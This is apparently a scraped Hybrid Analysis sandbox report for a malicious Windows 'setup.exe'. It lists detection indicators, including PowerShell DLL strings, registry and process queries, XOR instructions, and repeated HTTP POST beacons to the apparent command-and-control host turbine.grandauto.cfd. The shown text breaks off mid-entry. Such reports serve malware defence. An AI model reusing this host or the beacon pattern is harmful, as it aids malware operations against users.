26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 58:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4ba,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_60% Sample 8f3ae43e01f5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8f3ae43e01f5…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 3/28 AV engines flagged this file. 8 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36","keywords":["Malicious","Win/malicious_confidence_60%","malware analysis","sandbox report","threat intelligence","8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36"],"about":{"@type":"SoftwareApplication","name":"setup.exe","applicationCategory":["peexe","executable"],"identifier":"8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_60%","antivirusDetections":{"malicious":3,"total":28},"behavioralIndicators":{"malicious":8,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T69e,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" (Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp") Found string "ile:///C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources/System.Management.Automation.resources.EXE" (Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp")28:T5be,Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "setup.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "setup.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "setup.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "setup.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "setup.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp")29:T767,"setup.exe" (Access type: "OPEN"; Path: "HKCU\.DOTX") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\.DOTX") "setup.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS") "setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.DOTX") "setup.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.DOTX") "setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.DOTX\") "setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.DOTX\USERCHOICE") "setup.exe" (Access type: "OPEN"; Path: "HKCU\.DOTX\OPENWITHPROGIDS") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\.DOTX\OPENWITHPROGIDS") "setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.DOTX\OPENWITHPROGIDS") "setup.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.DOTX\OPENWITHPROGIDS") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODEL\PACKAGEREPOSITORY\EXTENSIONS\WINDOWS.FILETYPEASSOCIATION\.DOTX") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WORD.TEMPLATE.12") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WORD.TEMPLATE.12") "setup.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WORD.TEMPLATE.12") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WORD.TEMPLATE.12\CURVER") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WORD.TEMPLATE.12\CURVER") "setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WORD.TEMPLATE.12\") "setup.exe" (Access type: "OPEN"; Path: "HKCU\WORD.TEMPLATE.12\SHELLEX\ICONHANDLER")2a:T87c,"setup.exe" queried SystemProcessInformation at 00000000-00007752-00000C15-2269258307 [PID: 7752] "setup.exe" queried SystemProcessInformation at 00000000-00007752-00000C15-2269267015 [PID: 7752] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2315432340 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2315441060 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2317343053 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2317351351 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2318314971 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2318322194 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2318707625 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2318715361 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2318860344 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2318895628 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2319443549 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2320774850 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2320782601 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2321135549 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2321143948 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2322529326 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2322537678 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2322727802 [PID: 6612] "powershell.exe" queried SystemProcessInformation at 00000000-00006612-00000C15-2322736153 [PID: 6612]2b:Te16,Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-108-0042DE76 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-108-0042DE76 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-137-004305D6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-137-004305D6 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2036-00409512 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2037-00409584 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2038-00409605 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2051-00409924 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2062-0040A44A Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2062-0040A44A Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2072-0040A65C Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2379-004118ED Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2380-00411978 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2658-00422538 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2658-00422538 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2780-00422488 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2839-0042FF9C Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2839-0042FF9C Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2860-00430353 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2860-00430353 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2922-0042AF52 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2922-0042AF52 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2923-004349C2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2923-004349C2 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-2993-0043331E Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-2993-0043331E Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-3000-00433536 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-3000-00433536 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-3002-00433789 Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-3002-00433789 Assembly shows XOR instruction xor eax ebp in Stream UID: 14636-3005-00433A8E Assembly shows XOR instruction xor ecx ebp in Stream UID: 14636-3005-00433A8E Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 14636-3022-0043555C Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 14636-3022-0043555C Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 14636-3022-0043555C Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 14636-3022-0043555C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007752-15883-55-00FA85AC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007752-15883-72-00FA67CB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007752-15883-72-00FA67CB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007752-15883-102-00FB2585 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007752-15883-102-00FB2585 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007752-15883-175-00F81C57 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007752-15883-175-00F81C572c:Tf5d8,Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: 0Connection: keep-aliveContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST / HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 108User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/7PG78JH" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "g6aj" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "K0YYr2N9fh65" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /7PG78JH.yKL6UQ_FI_.g6aj_iC4H7Q-Z-K0YYr2N9fh65 HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /GhyE.Q HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 327User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "awTx" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "IJKx" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "KfWlxp2kTrSReAConnection" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /sp1L~-awTx.0JN-R-~cLe9oGb~abDvR_IT_IJKx HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 267User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 1376User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "/iI7Vydj" in header "POST /iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf HTTP/1.1Host: turbine.grandauto.cfdContent-Type: application/octet-streamX-Request-ID: BPEU3BB_KfWlxp2kTrSReAConnection: keep-aliveContent-Length: 1376User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /iI7Vydj_ozHSkCACl-LbIm7yFbz_6EOFf 